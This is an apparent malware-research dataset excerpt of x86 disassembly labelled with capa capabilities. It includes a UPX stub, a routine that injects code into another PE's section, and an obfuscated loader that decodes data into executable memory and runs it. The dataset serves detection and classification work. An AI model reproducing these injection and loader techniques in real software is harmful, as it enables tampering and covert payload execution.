joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4252f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
or ebp, 0xffffffff
jmp 0x425312
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x425319
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x425308
mov eax, 1
add ebx, ebx
jne 0x42532b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x425320
jne 0x42533c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x425320
xor ecx, ecx
sub eax, 3
jb 0x425350
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4253c2
mov ebp, eax
add ebx, ebx
jne 0x42535b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x425368
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42538c
inc ecx
add ebx, ebx
jne 0x425378
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42536d
jne 0x425389
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42536d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4253ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42539d
jmp 0x42530e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4253ac
add edi, ecx
jmp 0x42530e
pop esi
mov edi, esi
mov ecx, 0x86d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4253ca
cmp byte [edi], 0xe
jne 0x4253ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4253cf
lea edi, [esi + 0x23000]
mov eax, dword [edi]
or eax, eax
je 0x425447
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x29224]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x292d8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4253fc
mov ecx, edi
jns 0x42542b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x292dc]
or eax, eax
je 0x425441
mov dword [ebx], eax
add ebx, 4
jmp 0x425419
call dword [esi + 0x292e0]
popal
jmp section.UPX0
Function at 0x401098
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
pushal
mov dword [ebp - 4], 0
push 0xa
push dword [ebp + 8]
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x4010b8
jmp 0x4010d8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
mov dword [0x407350], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4010d5
jmp 0x4010d8
mov dword [ebp - 4], eax
popal
mov eax, dword [ebp - 4]
leave
ret 4

Function at 0x4010e0
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
pushal
mov esi, dword [ebp + 0xc]
lea ebx, [ebp - 0x400]
push esi
push ebx
call sub.kernel32.dll_lstrcpyA
xor ecx, ecx
jmp 0x4010ff
inc ecx
cmp byte [ecx + ebx], 0x5c
jne 0x4010fe
mov byte [ecx + ebx], 0
lea esi, [ecx + esi + 1]
mov edi, 0x4050ec
push str.HKEY_CLASSES_ROOT
push ebx
call edi
or eax, eax
jne 0x401125
mov eax, 0x80000000
jmp 0x401186
push str.HKEY_CURRENT_CONFIG
push ebx
call edi
or eax, eax
jne 0x401138
mov eax, 0x80000005
jmp 0x401186
push str.HKEY_CURRENT_USER
push ebx
call edi
or eax, eax
jne 0x40114b
mov eax, 0x80000001
jmp 0x401186
push str.HKEY_LOCAL_MACHINE
push ebx
call edi
or eax, eax
jne 0x40115e
mov eax, 0x80000002
jmp 0x401186
push str.HKEY_USERS
push ebx
call edi
or eax, eax
jne 0x401171
mov eax, 0x80000003
jmp 0x401186
push str.HKEY_DYN_DATA
push ebx
call edi
or eax, eax
jne 0x401184
mov eax, 0x80000006
jmp 0x401186
jmp 0x4011b1
mov byte [ebx], 0
push dword [ebp + 0x10]
push esi
push eax
push ebx
call fcn.004052f0
test dword [ebp + 0x14], 1
je 0x4011a3
push ebx
call fcn.0040122d
cmp byte [ebx], 0
je 0x4011b1
push ebx
push dword [ebp + 8]
call sub.kernel32.dll_SetEnvironmentVariableA
popal
leave
ret 0x10
Function at 0x401b63
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
push esi
push edi
push ebx
push ecx
push edx
lea eax, [ebp - 0x400]
push eax
push 0x400
call sub.kernel32.dll_GetTempPathA
push 0x4070e2
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
xor edi, edi
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_LoadLibraryA
or eax, eax
je 0x401c32
mov dword [0x40736e], eax
mov esi, 0x407091
mov ebx, 0x40735a
jmp 0x401bf1
push esi
push dword [0x40736e]
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x401bda
mov dword [ebx], eax
add ebx, 4
jmp 0x401bd2
inc esi
cmp byte [esi], 0
jne 0x401bd1
inc esi
jmp 0x401bf1
push dword [0x40736e]
call sub.kernel32.dll_FreeLibrary
mov dword [0x40736e], 0
jmp 0x401c32
cmp byte [esi], 0
jne 0x401bba
push 0
push 0xac44
push 0xffffffffffffffff
call dword [0x40735a]
cmp eax, 1
jne 0x401c32
call dword [0x40735e]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
add eax, 4
push 6
push ecx
push 0
push eax
push 1
call dword [0x407362]
cmp eax, 1
jne 0x401c32
call dword [0x407366]
inc edi
mov eax, edi
pop edx
pop ecx
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x401c60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
pushal
lea eax, [ebp - 4]
push eax
push 0
push 0
push dword [ebp + 8]
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
popal
leave
ret 4

Function at 0x401d27
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
pushal
mov esi, 0x4077dc
push dword [ebp + 8]
push esi
call sub.kernel32.dll_lstrcpyA
push str..BAK
push esi
call sub.kernel32.dll_lstrcatA
push esi
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x401d5e
push 0
push esi
push dword [ebp + 8]
call sub.kernel32.dll_CopyFileA
mov al, 0
jmp 0x401d60
mov al, 1
mov byte [0x407bf4], al
popal
leave
ret 4

Function at 0x401d6a
Capabilities:
Copy file
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
pushal
mov esi, 0x4077dc
cmp dword [ebp + 8], 0
jne 0x401da0
cmp byte [0x407bf4], 0
jne 0x401d8f
push 0
push 0x4073dc
push esi
call sub.kernel32.dll_CopyFileA
cmp byte [0x407bf4], 0
jne 0x401e07
push esi
call sub.kernel32.dll_DeleteFileA
jmp 0x401e07
push 0x6b
push dword [0x407376]
call sub.user32.dll_IsDlgButtonChecked
cmp byte [0x408027], 1
jne 0x401dcb
cmp byte [0x408028], 1
jne 0x401dc6
mov eax, 1
jmp 0x401dcb
mov eax, 0
cmp eax, 1
jne 0x401e05
push 0x400
push 0x40a44c
push 0xd
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x40a44c
call fcn.00401ce6
push esi
call fcn.00401ce6
push dword [0x407bdc]
push esi
call sub.kernel32.dll_SetFileAttributesA
jmp 0x401e07
jmp 0x401d8f
popal
leave
ret 4
Function at 0x401e0c
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
push esi
lea esi, [ebp - 0x400]
push dword [ebp + 8]
push esi
call sub.kernel32.dll_lstrcpyA
push str..tmp
push esi
call sub.kernel32.dll_lstrcatA
push esi
call sub.kernel32.dll_DeleteFileA
push esi
push dword [ebp + 8]
call sub.kernel32.dll_MoveFileA
cmp eax, 1
jne 0x401e59
push 1
push dword [ebp + 8]
push esi
call sub.kernel32.dll_CopyFileA
cmp eax, 1
jne 0x401e59
mov eax, 1
pop esi
leave
ret 4
Function at 0x4021fd
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
pushal
mov esi, dword [0x407be0]
or esi, esi
je 0x402255
push dword [0x407be8]
call sub.kernel32.dll_UnmapViewOfFile
push dword [0x407bec]
call sub.kernel32.dll_CloseHandle
push 0
push 0
push dword [0x407bf0]
push esi
call sub.kernel32.dll_SetFilePointer
push esi
call sub.kernel32.dll_SetEndOfFile
push esi
call sub.kernel32.dll_CloseHandle
push dword [ebp + 8]
call fcn.00401d6a
push dword [0x407bdc]
push 0x4073dc
call sub.kernel32.dll_SetFileAttributesA
popal
leave
ret 4

Function at 0x402284
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
pushal
mov byte [ebp - 0x401], 0
push 1
push 8
call fcn.00401057
or eax, eax
je 0x4022e1
mov esi, eax
lea eax, [ebp - 0x400]
push eax
push 0x400
call sub.kernel32.dll_GetTempPathA
push str._bassmod.dll
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
mov ecx, dword [esi + 1]
lea eax, [esi + 5]
push ecx
push eax
lea eax, [ebp - 0x400]
push eax
call fcn.004051c8
mov byte [ebp - 0x401], 1
popal
movzx eax, byte [ebp - 0x401]
leave
ret
Function at 0x403010
Capabilities:
Get common file path
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffba0
push esi
push edi
push ebx
push 0x70
push dword [0x407376]
call sub.user32.dll_GetDlgItem
or eax, eax
je 0x4031bc
mov dword [ebp - 0x404], eax
push 0
push dword [ebp - 0x404]
call sub.user32.dll_ShowWindow
mov esi, 0x40842a
push 9
push dword [0x40737a]
call fcn.0040225a
mov dword [esi + 4], eax
push eax
call fcn.00405180
or eax, eax
je 0x4031bc
push dword [0x407376]
pop dword [esi]
lea ebx, [ebp - 0x414]
push ebx
push dword [ebp - 0x404]
call sub.user32.dll_GetWindowRect
lea edi, [ebp - 0x424]
push edi
push dword [0x407376]
call sub.user32.dll_GetWindowRect
mov eax, dword [ebx]
sub eax, dword [edi]
mov dword [esi + 8], eax
mov eax, dword [ebx + 8]
sub eax, dword [ebx]
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 4]
sub eax, dword [edi + 4]
mov dword [esi + 0xc], eax
lea eax, [esi + 8]
lea ecx, [esi + 0xc]
push ecx
push eax
push dword [0x407376]
call fcn.00401430
push 1
push 0x12
call fcn.00401057
or eax, eax
je 0x4030ce
mov eax, dword [eax + 1]
mov dword [esi + 0x1d], eax
push 1
push 0xb
call fcn.00401057
or eax, eax
je 0x4030e3
mov eax, dword [eax + 1]
jmp 0x4030f5
cmp dword [esi + 0x1d], 0
je 0x4030f0
mov eax, 0xfe
jmp 0x4030f5
mov eax, 0xff
mov byte [esi + 0x1c], al
lea ebx, [ebp - 0x460]
push 0x3c
push ebx
call sub.kernel32.dll_RtlZeroMemory
mov dword [ebx], 7
mov byte [ebx + 0x17], 1
mov byte [ebx + 0x1a], 4
push 0x40721f
lea eax, [ebx + 0x1c]
push eax
call sub.kernel32.dll_lstrcpyA
push 1
push 0x13
call fcn.00401057
or eax, eax
je 0x4031ad
mov edi, eax
push dword [edi + 0x11]
pop dword [esi + 0x18]
push dword [edi + 5]
pop dword [ebx]
test dword [edi + 9], 1
je 0x40314c
mov dword [ebx + 0x10], 0x2bc
lea eax, [ebp - 0x400]
push eax
push 0x400
call sub.kernel32.dll_GetTempPathA
lea edx, [edi + 0x15]
push edx
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
lea edx, [edi + 0x95]
push edx
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
lea edx, [edi + 0x9b]
mov ecx, dword [edi + 0xd]
lea eax, [ebp - 0x400]
push eax
push ecx
push edx
call fcn.004031c1
lea edx, [edi + 0x15]
cmp byte [edx], 0
jne 0x4031a3
xor ebx, ebx
jmp 0x4031ad
push edx
lea eax, [ebx + 0x1c]
push eax
call sub.kernel32.dll_lstrcpyA
push ebx
call sub.gdi32.dll_CreateFontIndirectA
mov dword [esi + 0x14], eax
push esi
call fcn.0040170b
pop ebx
pop edi
pop esi
leave
ret
Function at 0x403fd4
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push esi
push edi
push ebx
push 0x400
push 0x41304c
push 4
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x41304c
call fcn.00401ce6
lea eax, [ebp - 0x400]
push eax
push 0x400
call sub.kernel32.dll_GetTempPathA
push str._regpatch.reg
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
mov esi, dword [ebp + 8]
mov eax, dword [esi + 1]
add eax, 0x100000
mov dword [ebp - 0x40c], eax
push 4
push 0x1000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x404], eax
lea eax, [esi + 9]
push dword [ebp - 0x404]
push eax
call fcn.0040426d
mov ecx, dword [ebp - 0x404]
test dword [esi + 5], 1
je 0x4040a7
mov eax, dword [esi + 1]
add eax, 0x100000
mov dword [ebp - 0x410], eax
push 4
push 0x1000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x408], eax
push dword [ebp - 0x410]
push dword [ebp - 0x408]
push dword [ebp - 0x404]
call fcn.004041c1
mov ecx, dword [ebp - 0x408]
push eax
push ecx
lea eax, [ebp - 0x400]
push eax
call fcn.004051c8
test eax, eax
je 0x404100
mov edi, 0x4073dc
push str._s__
push edi
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x400]
push eax
push edi
call sub.kernel32.dll_lstrcatA
push 0x4072da
push edi
call sub.kernel32.dll_lstrcatA
push 5
push 0
push edi
push str.regedit.exe
push 0x4072dc
push dword [0x407376]
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x404123
push 0x400
push 0x41344c
push 0x27
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x41344c
call fcn.00401ce6
jmp 0x404144
push 0x400
push 0x41384c
push 0x28
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x41384c
call fcn.00401ce6
push 0x1f4
call sub.kernel32.dll_Sleep
push 0x4000
push dword [ebp - 0x40c]
push dword [ebp - 0x404]
call sub.kernel32.dll_VirtualFree
test dword [esi + 5], 1
je 0x404183
push 0x4000
push dword [ebp - 0x410]
push dword [ebp - 0x408]
call sub.kernel32.dll_VirtualFree
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_DeleteFileA
push 0x400
push 0x413c4c
push 0xc
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x413c4c
call fcn.00401ce6
push 0x4070ef
call fcn.00401ce6
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x4041c1
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push esi
push edi
push ebx
mov eax, dword [ebp + 0x10]
add eax, 0x100000
mov dword [ebp - 8], eax
push 4
push 0x1000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
push esi
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov esi, dword [ebp - 4]
or eax, eax
je 0x40424e
push dword [ebp + 8]
push esi
call sub.kernel32.dll_lstrcmpA
or eax, eax
je 0x404243
mov bl, 0
jmp 0x404239
lodsb al, byte [esi]
cmp word [esi], 0x5b0a
jne 0x40421b
mov bl, 1
cmp al, 0x5c
jne 0x40422f
or bl, bl
jne 0x40422f
cmp byte [esi], 0x5c
je 0x40422f
cmp byte [esi - 2], 0x5c
je 0x40422f
stosb byte es:[edi], al
stosb byte es:[edi], al
cmp word [esi], 0xd5d
jne 0x404239
mov bl, 0
cmp byte [esi], 0
jne 0x404211
mov byte [edi], 0
jmp 0x40424e
push dword [ebp + 8]
push dword [ebp + 0xc]
call sub.kernel32.dll_lstrcpyA
push 0x4000
push dword [ebp - 8]
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
push dword [ebp + 0xc]
call fcn.00405180
pop ebx
pop edi
pop esi
leave
ret 0xc
Function at 0x4049f2
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push esi
push edi
push ebx
cmp byte [0x4073d2], 1
jne 0x404a1e
push 5
push dword [0x40738e]
call sub.user32.dll_ShowWindow
push 0
push dword [0x407392]
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x184
push dword [0x40738e]
call sub.user32.dll_SendMessageA
push 0x400
push 0x416454
push 0
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x416454
call fcn.00401ce6
push 0x4070ef
call fcn.00401ce6
call fcn.004011b6
xor ebx, ebx
jmp 0x404aa7
cmp byte [esi], 3
jne 0x404a75
push esi
call fcn.004036ff
jmp 0x404aa7
cmp byte [esi], 4
jne 0x404a82
push esi
call fcn.004039c4
jmp 0x404aa7
cmp byte [esi], 0x11
jne 0x404a8f
push esi
call fcn.004045ba
jmp 0x404aa7
cmp byte [esi], 5
jne 0x404a9c
push esi
call fcn.00403fd4
jmp 0x404aa7
cmp byte [esi], 0x14
jne 0x404aa7
push esi
call fcn.00403b90
inc ebx
push ebx
call fcn.00401098
mov esi, eax
or esi, esi
jne 0x404a68
push 0x400
push 0x416854
push 1
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x416854
call fcn.00401ce6
push dword [0x4073d7]
call fcn.00404b0b
push 0x6c
push dword [0x407376]
call sub.user32.dll_GetDlgItem
push 0
push eax
call sub.user32.dll_EnableWindow
push 1
push 0
push 0
push dword [0x407376]
call sub.user32.dll_RedrawWindow
pop ebx
pop edi
pop esi
leave
ret
Function at 0x404b42
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
mov esi, dword [ebp + 8]
xor ecx, ecx
jmp 0x404b86
inc ecx
cmp ecx, dword [0x407be4]
jne 0x404b86
push 0x400
push 0x416c54
push 0x16
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x416c54
call fcn.00401ce6
xor eax, eax
pop edi
pop esi
pop edx
pop ecx
pop ebx
leave
ret 0x10
cmp dword [ecx + esi], 0x4550
jne 0x404b51
add esi, ecx
mov eax, dword [ebp + 8]
add eax, dword [0x407be4]
cmp dword [eax - 4], 0x32505564
jne 0x404bc6
push 0x400
push 0x417054
push 0x17
push dword [0x407372]
call sub.user32.dll_LoadStringA
push 0x417054
call fcn.00401ce6
jmp 0x404b7b
push esi
movzx eax, word [esi + 6]
dec eax
imul eax, eax, 0x28
movzx ecx, word [esi + 0x14]
add esi, 0x18
add esi, ecx
mov edi, esi
or dword [edi + 0x24], 0x80000000
add edi, eax
pop esi
cmp dword [ebp + 0xc], 4
jne 0x404bef
mov ecx, dword [esi + 0x34]
jmp 0x404bf1
xor ecx, ecx
mov dword [0x404ecd], ecx
mov ebx, dword [esi + 0x28]
mov ecx, dword [esi + 0x34]
mov dword [0x404ec5], ebx
add dword [0x404ec5], ecx
mov eax, dword [edi + 0xc]
add eax, dword [edi + 0x10]
mov dword [esi + 0x28], eax
cmp dword [ebp + 0xc], 4
jne 0x404c22
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 0x10]
add eax, ebx
jmp 0x404c24
xor eax, eax
mov dword [0x404ed1], eax
mov eax, dword [ebp + 8]
add eax, dword [edi + 0x14]
add eax, dword [edi + 0x10]
mov ecx, 0x404cad
mov ebx, 0x23b
mov edx, eax
add edx, ebx
push edx
push ebx
push ecx
push eax
call sub.kernel32.dll_RtlMoveMemory
pop edx
mov ecx, dword [ebp + 0x14]
mov eax, dword [ecx + 0x16]
lea ecx, [eax + ecx]
mov ebx, dword [0x407350]
sub ebx, eax
push ebx
push ecx
push edx
call sub.kernel32.dll_RtlMoveMemory
mov eax, dword [ebp + 0x10]
push 0x100
push eax
call fcn.004052d0
add dword [edi + 8], eax
add dword [edi + 0x10], eax
or dword [edi + 0x24], 0xe0000000
mov eax, dword [edi + 0xc]
add eax, dword [edi + 8]
mov ebx, dword [esi + 0x38]
push ebx
push eax
call fcn.004052d0
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 8]
add eax, dword [0x407bf0]
mov dword [eax - 4], 0x32505564
xor eax, eax
inc eax
pop edi
pop esi
pop edx
pop ecx
pop ebx
leave
ret 0x10

Function at 0x4051c8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x4051f3
xor eax, eax
leave
ret 0xc
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_FlushFileBuffers
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
leave
ret 0xc
Function at 0x4052f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], 1
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
push dword [ebp + 0x14]
push dword [ebp - 8]
call sub.advapi32.dll_RegQueryValueExA
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegCreateKeyExA
or eax, eax
jne 0x405372
mov eax, 4
mov dword [ebp - 4], eax
inc dword [ebp - 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x14]
push dword [ebp - 8]
call sub.advapi32.dll_RegQueryValueExA
push eax
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
pop eax
leave
ret 0x10

Function at 0x4053f0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
pushal
cmp dword [ebp + 8], 0
jne 0x405430
push 0
call sub.kernel32.dll_GetModuleHandleA
lea esi, [ebp - 0x200]
push 0x200
push esi
push eax
call sub.kernel32.dll_GetModuleFileNameA
push esi
call sub.kernel32.dll_lstrlenA
push esi
add esi, eax
jmp 0x405425
dec esi
cmp byte [esi], 0x5c
jne 0x405424
mov byte [esi], 0
pop esi
jmp 0x405433
mov esi, dword [ebp + 8]
push esi
call sub.kernel32.dll_SetCurrentDirectoryA
popal
leave
ret 4

Function at 0x4054b0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
pushal
mov byte [ebp - 1], 0
mov esi, dword [ebp + 8]
or esi, esi
je 0x40550a
push esi
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x40550a
cmp byte [esi], 0
je 0x40550a
lea edi, [ebp - 0x401]
jmp 0x4054df
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp byte [esi], 0x5c
je 0x4054e9
cmp byte [esi], 0
jne 0x4054dd
cmp al, 0x3a
je 0x4054dd
lodsb al, byte [esi]
stosb byte es:[edi], al
mov byte [edi], 0
push 0
lea eax, [ebp - 0x401]
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp byte [esi - 1], 0
jne 0x4054db
mov byte [ebp - 1], 1
popal
movzx eax, byte [ebp - 1]
leave
ret 4

Function at 0x405520
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
pushal
mov byte [ebp - 1], 0
mov esi, dword [ebp + 8]
or esi, esi
je 0x40558e
push esi
call sub.kernel32.dll_lstrlenA
or eax, eax
je 0x40558e
mov ebx, eax
push 0
call sub.user32.dll_OpenClipboard
cmp eax, 1
jne 0x40558e
add ebx, 2
push ebx
push 0x2042
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x405589
mov ebx, eax
push ebx
call sub.kernel32.dll_GlobalLock
or eax, eax
je 0x405589
mov edi, eax
push esi
push edi
call sub.kernel32.dll_lstrcpyA
call sub.user32.dll_EmptyClipboard
cmp eax, 1
jne 0x405589
push edi
call sub.kernel32.dll_GlobalUnlock
push ebx
push 1
call sub.user32.dll_SetClipboardData
call sub.user32.dll_CloseClipboard
popal
movzx eax, byte [ebp - 1]
leave
ret 4
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40673a
pop dword [ebp - 0x14]
mov eax, 0xd1597ec0
add eax, 0x2ee6e87a
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xa7a2e6fe
add dword [ebp - 0x24], 0xa6af5e4d
mov dword [ebp - 0x20], 0x7d299e7f
sub dword [ebp - 0x20], 0x4af6523a
mov dword [ebp - 0x1c], 0xca83b334
add dword [ebp - 0x1c], 0x81c890fa
mov dword [ebp - 0x18], 0xb85b92a4
add dword [ebp - 0x18], 0x47a46d5c
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xabd10887
add dword [ebp - 0x24], 0xc8a160cf
mov dword [ebp - 0x20], 0xbc9902fa
sub dword [ebp - 0x20], 0x7b2ca185
mov dword [ebp - 0x1c], 0xb8c102c2
sub dword [ebp - 0x1c], 0x55519656
mov dword [ebp - 0x18], 0x7388e24
add dword [ebp - 0x18], 0xf8c771dc
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3a6f5
push 0
call eax
mov ecx, 0xfea2647d
add ecx, 0x15def30
xor esi, esi
add esi, eax
mov edi, 0x46e400
add edi, dword [ebp - 0x14]
mov ebx, 0x8a003995
sub ebx, 0x13bb895d
mov dword [ebp - 0xc], 0x2357bebe
mov edx, dword [edi]
xor dword [ebp - 0xc], 0xcb5f6694
sub edx, ebx
mov dword [ebp - 0xc], 0xe3f081f3
mov dword [esi], edx
sub dword [ebp - 0x10], eax
add esi, 0x939cf447
add esi, 0x6c630bbd
add edi, 0x9d3baba0
add edi, 0x62c45464
loop 0x40684e
add eax, 0x14187
mov ebx, eax
add eax, 5
mov ecx, 0xe57ca671
add ecx, 0x1ac3598f
add ecx, dword [ebp - 0x14]
call ebx
leave
ret